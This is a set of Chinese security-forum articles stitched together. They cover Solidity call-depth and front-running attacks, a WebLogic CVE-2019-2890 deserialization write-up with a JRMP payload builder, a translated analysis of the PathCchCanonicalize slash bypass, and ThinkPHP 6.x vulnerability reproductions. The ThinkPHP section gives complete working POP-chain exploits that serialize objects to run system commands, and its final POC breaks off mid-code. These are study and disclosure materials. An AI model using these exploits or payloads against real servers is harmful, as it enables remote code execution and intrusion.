这意味着如果嵌套调用的数量达到1024，合约将会失败。攻击者可以递归调用一个合约1023次，然后调用开发者合约函数，造成“send”因为这个限制而失败。
例如下面的代码：
function sendether() {
address addr = 0x6c8f2a135f6ed072de4503bd7c4999a1a17f824b;
addr.send(20 ether);
//用户会认为无论如何此函数都会被处理
var thesendok = true;
//用户会认为无论如何都会返回true
...
}
之后我们也初始化fallback函数：
function fallback() {
//fallback函数内容
}
至此用户会认为我们既然已经定义了fallback函数，那么应该就万无一失了。然而我们看下面的攻击代码：
function hack() {
var count = 0;
while (count < 1023) {
this.hack();
count++;
}
if (count == 1023) {
thecallingaddr.call("sendether");
}
}
此处攻击者利用了1024这个限度，当嵌套调用数量执行到1024个的时候，攻击者调用了`sendether()`函数，并使系统在执行到send的时候失败。
这也为我们写合约代码的时候提了一个醒。那我们如何更改相关内容呢？
正确的写法应该是在每次涉及到 call depth 增加的地方都检查调用返回是否正确，如下：
function sendether() {
address addr = 0x6c8f2a135f6ed072de4503bd7c4999a1a17f824b;
if (!addr.send(20 ether)) {
throw;
//防止有人攻击，提前进行检查
}
var thesendok = true;
...
}
### 四、交易顺序依赖性
#### 1 交易顺序依赖攻击模型
我们知道，一笔交易在被传播出去之前需要经过矿工的同意并将其记账在一个区块内。而我们知道倘若一个攻击者在监听到网络中对应合约的交易后发送一个新的合约交易来改变当前的合约状态，那么系统中会因为交易的先后问题而产生安全隐患。例如悬赏相关的合约，倘若两个悬赏合约放出，第二个合约减少了合约的回报，则定几率使这两笔交易包含在同一个区块下面，并且使修改过的那个合约由于某种原因先进行记账处理。这意味着，如果某个用户正在揭示拼图或其他有价值的秘密的解决方案，恶意用户可以窃取解决方案并以较高的费用复制其交易，以抢占原始解决方案。
对于此类问题，我们提出一种基本的攻击模型：
* 1 攻击者可以提出一个有奖竞猜合约，而此合约的目的是让用户参与某个问题的求解，并承诺给找到解的用户发放丰厚的奖励。
* 2 当合约提交后攻击者开始监听整个网络，并观察是否有人提及相关问题的解。
* 3 当有人提交答案后，由于交易还未被记账（存在时间差）所以攻击者可以立刻发起一个新的交易以降低奖金的数额使之无限接近0。
* 4 此时攻击者增大了第二次发送的交易的gas值，所以此交易会被优先处理。
-5 矿工将第二个交易优先处理后，答案提交者所获得的奖励将变得极低，攻击者就能几乎免费的获得正确答案。
#### 2 ERC20标准
ERC-20 标准是在2015年11月份推出的，使用这种规则的代币，表现出一种通用的和可预测的方式。简单地说，任何 ERC-20
代币都能立即兼容以太坊钱包（几乎所有支持以太币的钱包，包括Jaxx、MEW、imToken等，也支持
erc-20的代币），由于交易所已经知道这些代币是如何操作的，它们可以很容易地整合这些代币。这就意味着，在很多情况下，这些代币都是可以立即进行交易的。
ERC20 让以太坊区块链上的其他智能合约和去中心化应用之间无缝交互。一些具有部分但非所有ERC20标准功能的代币被认为是部分
ERC20兼容，这还要视其具体缺失的功能而定，但总体是它们仍然很容易与外部交互。
因此ERC-20协议是目前数字货币交易体系中较为主流的一种协议体系。但是该协议也存在不完善的地方。正如同清扫房间，总会有没有看到的地方一样，智能合约的协议只能不断地根据漏洞来改进，却不能一劳永逸的解决所有漏洞。黑客们也正是利用这些漏洞来实现自己的目的。
详细概念请参考[ERC-20](http://finance.sina.com.cn/blockchain/coin/2018-04-26/doc-ifztkpin0534100.shtml)
#### 3 相关安全事件
我们在这里简单地给大家讲解一下某次ERC-20标准下的真实顺序交易攻击案例。
ERC20标准中定义，`approve(address _spender,uint256 _value)：允许_spender提取限额_value的代币`。
ERC-20代币合约内置了很多函数，允许用户查找账户的余额，以及通过各种各样的合约从一个用户转移到其他用户中。
`approve()`这个函数通过两个步骤实现从一个用户发送给其他用户token。第一步token拥有者给另一个地址(通常都是智能合约的地址)批准转出一个最大上限的token，也就是额限。token拥有者使用`approve()`函数提供这个信息。
`然而这个漏洞是由于这个approve()功能而产生的。`
假设我们现在存在两种用户A与B，而B是攻击者，A是受害者。
* 1 A允许B通过调用`approve()`方法传输N个A的token值。
* 2 过了一段时间，A发现他需要改变对B的传输token值的个数，从N到M。之后她再次调用`approve()`方法并在这个时间传递给B的地址和M作为方法参数。
* 3 B发现此消息后快速发送A的第二笔交易调用方法转移N个A的token的事件（使第一次事件的执行时间比第二次提前）。
* 4 如果B的交易将在A交易之前执行，那么B将会执行成功转移N个A的代币并获得转移另一次M个代币的能力。
* 5 在A注意到出现问题之前，B调用了transferFrom方法，这次转移M个A的代币。
### 四、参考文献
* 1 <http://finance.sina.com.cn/blockchain/coin/2018-04-26/doc-ifztkpin0534100.shtml>
* 2 <https://www.jianshu.com/p/a3a197ce9268>
* 3 <https://blog.csdn.net/xuguangyuansh/article/details/81329671>
* 4 <https://blog.csdn.net/xuguangyuansh/article/details/83416560>
* 5 <https://blog.csdn.net/weixin_42451205/article/details/80966049>
* 6 <http://wiki.jikexueyuan.com/project/solidity-zh/miscellaneous.html>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
## 0x01 起因
本文仅记录一下自己调试2890的一些过程，网上已经有两篇公开的文章了，主要是因为要写年会PPT，然后自己上手调了一下这个漏洞，发现真的是个弟中弟的漏洞，感觉就是个
~~混kpi的漏洞~~ 。
## 0x02 漏洞原理
T3反序列化关键字还是 **readObject**
，所以补丁下来的第一时间，我全部反编译了，但是由于之前没有研究过weblogic，历史补丁没怎么留存，如果通过diff对比更新的方式会很快定位，所以只能反编译后搜。
之前T3反序列化的入口有 **StreamMessageImpl、MarshalledObject** 等，而且修复方式也是采用
**resolveClass** 或者 **resolveProxyClass** 处增加黑名单的校验的方式来修复，因此基于这两点实际上很好定位漏洞位置：
1、入口有 **readObject** 反序列化，
2、 **resolveClass** 或者 **resolveProxyClass** 处有名单校验，且类不是之前修复过的类。
基于上述这两种情况很快定位到了 **PersistenContext** 这个类。
再回头翻一下 **weblogic** 原来的代码，嗯确实入口在这，在 **readSubject**
方法中，首先会读取var1中的反序列化数据，然后调用`EncryptionUtil.decrypt`方法进行解密，最后再触发反序列化。
因此构造Poc的时候，需要用`PersistenContext`这个类的 **writeSubject** 方法来生成特殊的序列化对象，让
**readSubject** 方法反序列化的时候成功触发。
## 0x03 漏洞利用
### 1.导入jar
网上有两篇文章都说了这么个构造思路，但是我阅读学习的时候，死在了导入jar这个难题下，因此在漏洞利用的开头，我列出几个jar文件，测试环境
**weblogic 10.3.6** ，可能weblogic 12 jar名字有所不同。
com.bea.core.logging_1.9.0.0.jar
com.bea.core.management.core_2.9.0.1.jar
com.oracle.core.weblogic.msgcat_1.2.0.0.jar
cryptoj.jar
glassfish.jaxb_1.1.0.0_2-1-14.jar
weblogic.jar
wlthint3client.jar
### 2.重写PersistenContext类
因为需要用到 **PersinstenContext** 这个类，因此序列化的时候肯定要将其实例化，但是在下图代码位置有个if检查。
在这个if检查的结果会抛出 **com.bea.core.security.managers.NotSupportedException**
的异常导致反序列化中止。
因此这里解决办法就是绕过它，把它注释掉。
### 3.改造writeSubject中的writeObject
原先在 **writeSubject** 中正常写入的对象如下图所示。
这里我们需要将其替换掉，改成我们自己恶意对象，我的做法是构造恶意的JRMP对象。
public static Registry getObject(String command) throws Exception {
int sep = command.indexOf(58);
String host;
int port;
if (sep < 0) {
port = (new Random()).nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);
return proxy;
}
### 4.改造加密问题
原先我们看到了，反序列化过程中有个解密过程，所以这里需要加密一下。首先加密过程有个`KernelStatus.isServer()`的判断。
if (KernelStatus.isServer()) {
var5 = EncryptionUtil.encrypt(var5);
}
会说我直接改造一下，把if去掉，让他直接`EncryptionUtil.encrypt`不就好了吗，但是跟进去之后会发现还是有个
**Kernel.isServer()** 的的判断。
public static byte[] encrypt(byte[] var0) {
return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;
}
因此这里需要调用`KernelStatus.setIsServer(true);`，将状态设置为true。
当然这里还有另一种解法，我们实际上可以直接调用
var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);
但是有个小问题 **getEncryptionService** 是一个 **private** 方法，你需要重写一个把它变成public就可以直接调用了。
所以我重写了一个 **EncryptionUtil** ，并且将 **getEncryptionService** 设置为了 **public** 。
### 5.解决加密key的问题
在 **weblogic.security.internal.SerializedSystemIni**
存在一个加密的key，这个key实际上每个weblogic都不一样，所以官方给这个漏洞评价为授权状态下getshell，也是和之前的T3反序列化不太一样的地方，这里的解决办法就是你要复现那个weblogic，就找到他的
**SerializedSystemIni.dat** 文件，并且在自己的目录下创建一个 **security** 目录，放进去就好了。
### 6.最后一个小问题
在序列化的时候会出现卡死状态的，跟进之后发现原因在`weblogic.security.subject.SubjectManager`这个类里面。
在这个类里面的 **getSubjectManager** 方法会有一个 **ceClient** 的判断，如果为fasle就不会直接返回
**ceSubjectManager** 对象，因此需要让他为 **true** 。
而这个鬼东西默认情况下是false。
private static final boolean ceClient = "true".equalsIgnoreCase(System.getProperty("com.bea.core.internal.client", "false"));
因此只需要`System.setProperty("com.bea.core.internal.client","true");`让他过去即可。
最后还是弹个计算器吧。
## 0x04 漏洞修复
一如既往的老办法在resolveClass处增加黑名单检查。
## 0x05 调试记录
调试过程代码都放到[这里了](https://github.com/SukaraLin/CVE-2019-2890)，简单来说没啥用的洞。
## Reference
[Weblogic
t3反序列化漏洞(CVE-2019-2890)分析](http://gv7.me/articles/2019/cve-2019-2890-vulnerability-analysis/)
[WebLogic 反序列化漏洞(CVE-2019-2890)分析](https://paper.seebug.org/1069/) | 社区文章 |
# RDP补丁安全性分析
|
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/2020/reverse-rdp-the-path-not-taken/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
2019年，我们发表了关于RDP攻击的两篇文章：[Part 1](https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/)及[Part
2](https://research.checkpoint.com/reverse-rdp-the-hyper-v-connection/)。在这些文章中，我们描述了常见远程桌面协议（RDP）客户端中的各种严重漏洞。此外，我们还重点关注了微软RDP客户端中的路径遍历（Path-Traversal）漏洞，攻击者可以利用该漏洞，在Hyper-V管理器中实现从客户机到宿主机的VM逃逸。
在分析这些漏洞是否适用于MacOS上的微软RDP客户端时，我们发现了比较有趣的一个结论：我们不仅可以绕过微软的补丁，也能绕过遵循微软建议的所有路径规范化检查机制。
>
> 注意：绕过微软核心路径遍历检查的漏洞目前仍未被修复，大家可以在本文结尾处的微软官方回应中了解更多详细信息。由于该漏洞存在不少安全隐患，我们强烈建议所有软件开发者和研究人员关注该漏洞严重性，确保自己的软件项目已被手动修复。
## 0x01 微软补丁分析
在分析RDP攻击的第二篇[文章](https://research.checkpoint.com/reverse-rdp-the-hyper-v-connection/)中，我们详细分析了微软解决该漏洞（[CVE-2019-0887](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0887)）所发布的[补丁](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0887)。该补丁相对比较简单，因为路径遍历漏洞根源在于没有对输入的`FileGroupDescriptorW`剪贴板格式的文件路径进行过滤检查。微软采用了自己建议的最佳实践，使用[PathCchCanonicalize](https://docs.microsoft.com/en-us/windows/win32/api/pathcch/nf-pathcch-pathcchcanonicalize)函数添加了一个校验环节，如图1所示：
图1. 使用`PathCchCanonicalize`计算每个文件名的规范格式
如果执行成功，系统随后会将规范化后的输出与原始文件名比较，只要两者不一致，就会出现错误。这意味着如果我们的文件名中包含`.`或者`..`形式的字符串，那么在转为规范化形式时就会被修改，从而无法通过有效性检查。
当时我们认为该漏洞的确已被修复，也在之前的文章中提到：“……该补丁符合我们的预期，修复了我们发现的路径遍历漏洞”。
## 0x02 macOS RDP客户端
在分析各种RDP客户端的时候，我们重点关注的是[rdesktop](https://www.rdesktop.org/)、[FreeRDP](http://www.freerdp.com/)以及微软内置的客户端（`Mstsc.exe`）。当时我们并没有分析macOS上的RDP客户端，因为我们认为macOS用户经常会使用前面提到的开源客户端。令人惊讶的是，当这次研究“结束”时，来自Mnemonic的Chris
Risvik联系了我们。观看我们在[Black Hat](https://www.youtube.com/watch?v=3wncyS-QOBk)上的演讲并阅读我们的研究文章后，Chris开始研究macOS平台上的微软RDP客户端，并且找到了一个有趣的行为。根据这个行为，Chris认为CVE-2019-0887同样适用于微软的RDP客户端，因此与我们取得联系。
了解这些信息后，我们决定进一步研究。之前研究的时候我们已经设置了利用路径遍历漏洞的环境，因此现在我们只需要使用Mac主机，然后使用macOS平台上的微软RDP客户端来连接我们已有的恶意RDP服务器，此时事情开始变得有趣起来。
在等待我们的macOS研究员到达实验室时（他那天竟然迟到了），我决定更新服务端上的漏洞利用程序配置。之前我们使用的是Windows路径（`A\B\C`），由于我们即将遍历macOS路径，因此我认为可以在利用代码中使用正斜杠（即`A/B/C`），而不是之前的反斜杠。
在修改利用代码配置文件后，我们使用2个Windows主机本地测试了一下，判断是否一切正常。原始的利用代码（使用`\`）成功被微软的补丁所阻拦，导致`explorer.exe`被卡住。出于好奇，我们还测试了修改版的利用代码（使用`/`），然后发现漏洞竟然利用成功了。只要在我们的恶意RDP服务器上将`\`替换为`/`，就能绕过微软的补丁！
> 注意：随后我们测试了macOS
> RDP客户端，发现该客户端的实现更加安全，不受CVE-2019-0887漏洞影响。从这一点来看，我们永远无法预测研究的最终成果究竟如何，也不一定知道整个研究过程中能发现哪些漏洞。
## 0x03 PathCchCanonicalize
在这个非预期行为的驱使下，我们决定编译一个简单的测试程序，只关注微软主要的路径规范函数：`PathCchCanonicalize`。原始的检查逻辑如图2所示：
图2. 使用包含反斜杠（`\`）的路径再次测试`PathCchCanonicalize`
如预期所示，程序会输出“The canonical string is: **Evil.bat** , and the status code: **0**
”。
随后，我们使用带有正常斜杠（`/`）的路径来测试，如图3所示：
图3. 使用带有正斜杠（`/`）的路径再次测试`PathCchCanonicalize`
令人惊讶的是，输出结果为：“The canonical string is: **../../Evil.bat** , and the status
code: **0** ”。
这似乎意味着`PathCchCanonicalize`函数会忽略正斜杠字符，而该函数正是Windows在最佳实践指南中建议使用的函数！我们随后逆向分析了微软对该函数的实现，发现该函数只会搜索`\`来拆分路径，忽略`/`字符。
而该漏洞的影响应当不仅限于RDP，我们专门研究了微软对尝试执行目录遍历操作（如`..`）时提供的建议，找到了一个函数：`PathCcCanonicalize`。MSDN中提到了这个函数的作用，但由于可能存在缓冲区溢出漏洞，因此该函数实际上已被遗弃：
图4. MSDN上解释如何使用WinAPI来阻止目录遍历攻击
官方文档明确建议开发者使用`PathCchCanonicalize`函数，然而根据前文所述，我们可以使用正斜杠（而不是反斜杠）来绕过该函数。
我们向自己内部的软件开发者提出了一个挑战任务：实现一个函数，输入为文件路径，验证文件能否写入预定的某个文件夹中。换句话说，我们的开发者要使用Windows
API以及微软的最佳实践来阻止路径遍历攻击。不出所料，我们得到的典型代码如图5所示：
图5. 简单的路径过滤代码，始终使用的是`PathCchCanonicalize`。
也就是说，在遵循微软的最佳实践时，即使是高级的开发者也会使用存在漏洞的函数，并且希望该函数能够同时处理以`/`和`\`分隔的路径。这意味着全世界可能有许多项目会受路径遍历攻击影响，因为这些开发者都比较信赖微软提供的存在漏洞的路径规范化函数。
## 0x04 Windows路径
在基于Unix的系统上，系统使用的是正斜杠（`/`），而传统Windows使用的字符是反斜杠（`\`）。然而从早期版本的Windows开始，该系统就已经同时支持`/`以及`\`。因此，在执行任何文件操作（访问/读/写）时，都可以兼容这两个分隔符。
正常情况下，我们会采用特定检查逻辑来保护我们的目标，但攻击者可能会使用不同的逻辑来绕过检查，这个漏洞就是一个典型的案例。Windows核心功能的开发者在处理文件路径时，不知道因为什么忽略了Windows对`/`字符的支持，反而自己重新实现了文件路径逻辑，并且只支持`\`分隔符。
## 0x05 CVE-2020-0655
我们再次与微软联系，提示官方并没有正确修复CVE-2019-0887，攻击者可以利用我们在`PathCchCanonicalize`中新发现的漏洞来绕过该补丁。微软确定了该漏洞，在二月份的[周二补丁日](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0655)发布了新的补丁：[CVE-2020-0655](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0655)。
`PathCchCanonicalize`的实现位于`KernelBase.dll`中，我们发现本月的Windows更新竟然没有更新这个组件。如图6所示，`kerberos.dll`在二月份更新中被更新过，而`KernelBase.dll`依然保持原样。
图6. 根据Windows的`.dll`文件时间戳，我们发现`KernelBase.dll`并没有被更新
我们过滤出了在此次补丁中被更新的所有文件，发现其中有个`mstscax.dll`。如果按照我们的猜测，微软可能只更新了针对RDP客户端的攻击场景，忽略了被广泛使用的存在漏洞的API函数。
之前针对CVE-2019-0887的补丁中添加了一个`CFormatDataPacker::ValidateFilePaths`函数，在这次更新中，该函数又重新被修改过，如图7所示：
图7. 在RDP客户端补丁中会将`/`替换为`\`
我们最初的猜测非常准确：微软更新了针对CVE-2019-0887漏洞的补丁，但`PathCchCanonicalize`函数仍然受漏洞影响。
我们想搜一下是否已经有安全公告来提醒用户不要使用存在漏洞的路径规范化函数，但并没有任何收获。[MSDN](https://docs.microsoft.com/en-us/windows/win32/api/pathcch/nf-pathcch-pathcchcanonicalize)仍然建议用户在过滤恶意输入时要使用这个函数。
然而需要注意的是，这个补丁之所以有意义，是因为RDP中的文件处理与其他的WinAPI不同。我们检查了处理文件时常用的WinAPI（比如`CreateFile`、`DeleteFile`、`CreateFolder`等），发现这些API都能够接受`/`以及`\`，这意味着RDP案例并不是独一无二的案例。
因此，在我们看来，如果想避免在使用`/`分隔符时出现路径遍历攻击，可以考虑patch `PathCchCanonicalize`。
## 0x06 官方回应
分析微软补丁后，我们联系了MSRC，提供了我们的研究成果以及这篇文章的预计发布时间。然而到目前为止，我们并没有得到官方的评论。
## 0x07 总结
首先，由于官方对RDP漏洞的修复存在问题，带来一些严重影响，我们建议所有用户确保已经安装了微软提供的[补丁](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0655)。
然而，在分析微软对CVE-2020-0655漏洞的补丁时，
我们发现该补丁并没有解决`PathCchCanonicalize`函数中的核心问题。我们担心未来还会出现与RDP类似的攻击场景，由于Windows核心路径校验函数存在简单的绕过方法，可能会对其他软件产品构成严重风险。
正因为如此，我们强烈建议所有软件开发者以及安全研究人员关注该漏洞，确保自己的软件项目已手动打上补丁。
我们并不清楚为何这么一个简单的路径遍历绕过问题多年以来一直能存在于微软的核心路径校验功能中。我们怀疑许多开发者会选择重复造轮子，这样在渗透测试过程中我们才能发现许多特定实现中存在的错误。否则，只要以大型系统中负责处理文件路径的C代码为目标，常规渗透测试应该能够发现这个路径遍历绕过漏洞。 | 社区文章 |
# ThinkPHP6.x 漏洞复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 任意文件创建漏洞
### 漏洞环境
> * 将 `tp/app/controller/Index.php` 内容修改为
>
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
session('demo', $_REQUEST['H3rmesk1t']);
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
> * 将 `tp/app/middleware.php` 内容修改为
>
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];
### 漏洞分析
> * 查看版本的更新日志发现修正了 sessionid 检查的一处隐患，[相关内容](https://github.com/top-> think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2)，修复代码中主要多了
> `ctype_alnum($id)`，只允许 `$id` 由字母和数字构成
>
> * 跟进修复文件 `src/think/session/Store.php`，发现其和文件存储 session 相关
> * 跟进 `src/think/session/Store.php` 中的 `setId()` 方法，查找其用法，继续跟进到
> `src/think/middleware/SessionInit.php` 中的 `handle()` 方法
>
> * 发现变量 `$sessionId` 是可控的，可以通过 `$cookieName` 变量来设置变量 `$sessionId` 的值，继续跟进
> `getName()` 方法，跟进到 `src/think/session/Store.php` 发现变量 `$this->name` 的固定值是
> `PHPSESSID`，所以通过控制修改 Cookie 中的 PHPSESSID 的值来进而触发到后面的利用
>
> * 继续分析 `src/think/session/Store.php` 中的 `setId()` 方法，这里如果 PHPSESSID
> 对应值长度等于 32，则无任何过滤直接赋值
>
> * 继续跟进，先返回 `$response` 的值，进而步进到 `src/think/middleware/SessionInit.php` 中的
> `end()` 方法调用 `src/think/session/Store.php` 的 `save()` 方法
>
> * 调用 `write()` 方法进而进入到 `src/think/session/driver/File.php` 调用 `write()`
> 方法进入到 `writeFile()`方法来进行文件内容的写入
>
### 漏洞利用
### 漏洞利用链
## 反序列化漏洞
### 漏洞环境
> * 将 `tp/app/controller/Index.php` 内容修改为
>
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
if(isset($_POST['data'])){
@unserialize(base64_decode($_POST['data']));
}
highlight_string(file_get_contents(__FILE__));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
}
### 利用条件
> 1. 有一个内容完全可控的反序列化点，例如： unserialize (可控变量)
> 2. 存在文件上传、文件名完全可控、使用了文件操作函数，例如：file_exists (‘phar://恶意文件’)
>
### POP链-1
**漏洞分析**
> * 先找一个反序列化的触发入口，全局搜索 `__destruct()` 方法
>
> * 跟进 `src/Model.php` 中的 `__destruct()` 方法，由于变量 `lazySave` 是可控的，当其值为 True
> 时会进入 if 函数，进而调用 `save()` 方法
>
> * 跟进 `save()` 方法，继续跟进其调用的 `updateData()` 方法，在 `updateData()`
> 方法中发现其调用了一个字段检查的 `checkAllowFields()` 方法
>
> * 跟进 `checkAllowFields()` 方法，继续跟进 `db()` 方法，发现 `$this->table` 和
> `$this->suffix` 均是可控的，故可以利用该字符串拼接来触发 `__toString()` 方法进而来调用后续链子
>
> * 思路有了，继续看看要如何才能不出错的走到 `checkAllowFields()` 方法
>
> 1. 满足 `src/Model.php` 中 `__destruct` 方法里的 `$this->lazySave` 为 True 从而进入
> `save()` 方法
> 2. 满足 `src/Model.php` 里 `save()` 方法的第一个 if 函数为 False 从而绕过 return，即需要满足
> `$this->isEmpty()==false &&
> $this->trigger('BeforeWrite')==true`；接着走到三目运算符进行判断，满足 `$this->exists` 值为
> True 从而进入 `updateData()` 方法
> 3. 满足 `src/Model.php` 里 `updateData()` 方法的
> `true===$this->trigger('BeforeUpdate')` 从而绕过第一个 if 判断，接着需要满足 `$data!=null`
> 来绕过第二个 if 的判断进而进入 `checkAllowFields()` 方法
> 4. 满足 `src/Model.php` 里 `checkAllowFields()` 方法的 `$this->field=null &&
> $this->schema=null` 从而进入 `db()` 方法
> 5. 满足 `src/Model.php` 里 `db()` 方法的 `$this->table=null` 从而来满足字符串的拼接进而触发
> `__toString()` 方法
>
> * 接着看看如何寻找 `__toString()` 的触发点，全局搜索
>
> * 跟进 `src/model/concern/Conversion.php` 中的 `toJson()` 方法，继续跟进 `toJson()`
> 方法发现在返回值中进一步调用了 `toArray()` 方法
>
> * 跟进 `toArray()` 方法中的 `getAttr()` 方法
>
> * 跟进 `getAttr()` 方法，发现在 try-catch 结构中会进一步调用 `getData()` 方法
>
> * 跟进 `getData()` 方法后绕过第一个 if 判断后进一步调用 `getRealFieldName()` 方法
>
> * 跟进 `getRealFieldName()` 方法，当 `$this->strict` 为 True 时会直接返回 `$name` 的值
>
> * 现在返回值可以得到了，继续回到之前的 `getData()` 方法，变量 `$fieldName` 得到返回值后进入
> `array_key_exists()` 方法进行判断从而返回 `$this->data[$fieldName]`，继续回溯到 `getAttr()`
> 方法，变量 `$value` 接收到返回值继而执行到 return 部分调用 `getValue()` 方法，进入该方法，一个值得注意的地方
> `$value = $closure($value, $this->data)`，在这里 `$closure` 作为想要执行的函数名，`$value`
> 和 `$this->data` 为参数即可实现任意函数执行
>
> * 至此整个利用链的过程基本明显了，接着看看怎么才能执行到 `$value = $closure($value, $this->data)`
>
> 1. 首先看看 `$this->getRealFieldName($name)`，使 `$this->strict==true`，这样不影响
> `$name`
> 2. 接着进入 if 判断 `$this->withAttr[$fieldName]` 是否有定义，因此必须外加 `$this->withAttr`
> 3. 接下去对 `$relation` 的 if 判断不用管，关注最后的 if 判断，由于目标是要执行带 else 的代码，因此只需
> `is_array($this->withAttr[$fieldName])==false`，那么让
> `$this->withAttr[$fieldName]=null` 就可以
> 4. 最后一个赋值语句，可以通过 `$this->withAttr[$fieldName]`
> 控制想要执行的函数的名称，从而就可以来实现任意函数执行的目的
>
**exp**
> * 由于 `Model` 是一个抽象类，需要找一个它的继承类来，这里选择 `Pivot` 类
>
<?php
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
protected $table;
private $force;
private $exists;
private $lazySave;
private $data = [];
function __construct($obj){
$this->table = $obj;
$this->force = true;
$this->exists = true;
$this->lazySave = true;
$this->data = ["H3rmesk1t" => "calc.exe"];
}
}
namespace think\model\concern;
trait ModelEvent{
protected $withEvent = true;
protected $visible = ["H3rmesk1t" => "1"];
}
trait Attribute{
private $withAttr = ["H3rmesk1t" => "system"];
}
namespace think\model;
use think\Model;
class Pivot extends Model{
function __construct($obj = ''){
parent::__construct($obj);
}
}
echo base64_encode(serialize(new Pivot(new Pivot())));
?>
**POP链流程图**
### POP链-2
**漏洞分析**
> * 继续分析前面寻找的 `__destruct()` 方法，跟进 `vendor/league/flysystem-cached-> adapter/src/Storage/AbstractCache.php`
>
> * 由于 `$this->autosave` 是可控的，可以触发到 `save()` 方法，由于 `AbstractCache`
> 是一个抽象类，在其本身的 `save()` 方法是不可利用的，故在其继承类中寻找可以利用的 `save()` 方法，跟进
> `src/think/filesystem/CacheStore.php` 中的 `save()` 方法
>
> * 继续跟进其调用的 `getForStorage()` 方法，发现其进一步调用 `cleanContents()` 方法
>
> * 跟进 `cleanContents()` 方法，其调用 `array_flip()` 方法对数组进行反转来交换数组中的键和值，然后经过
> `array_intersect_key()` 函数来使用键名比较计算数组的交集
>
> 然后函数会将 `$contents` 返回给 `getForStorage()` 中的 `$cleaned`，经过 `json_encode()`
> 方法后返回给前面的 `save()` 方法，`$contents` 变量接收函数返回值后进入后面的逻辑，此时 `$this->store`
> 是可控的，可以调用任意类的 `set()` 方法，如果这个指定的类不存在 `set()` 方法，就有可能触发 `__call()`，当然也有可能本身的
> `set()` 方法就可以利用
**exp-1**
> 直接寻找一个可以利用的 `set()` 方法
> 跟进 `src/think/cache/driver/File.php` 中的 `set()` 方法，发现有一个 `serialize()` 方法
> 继续跟进 `serialize()` 方法，发现 `$this->options` 参数是可控的，从而可以利用
> `$this->options['serialize'][0]` 来执行任意函数
> 接着看看需要的参数 `$data` 的来源，溯源发现先是来源于 `$value` 的传值，接着回到 `save()` 方法的 `$contents`
> 参数，由于 `$contents` 参数来源于 `getForStorage()` 方法，需要经过 `json_encode()` 方法，所以需要使
> `json_encode` 后的数据被当作代码执行
> 由于 json_encode 的缘故，命令被方括号包裹导致无法正常执行，在 Linux 环境中可以使用 `command` 这样的形式使被包裹的
> command 优先执行
**POC**
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache {
protected $autosave = false;
protected $complete = "`id`";
// protected $complete = "\"&whoami&" ;
// 在Windows环境中反引号无效，用&替代
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $key = "1";
protected $store;
public function __construct($store="") {
$this->store = $store;
}
}
}
namespace think\cache {
abstract class Driver {
protected $options = ["serialize"=>["system"],"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver{}
}
namespace {
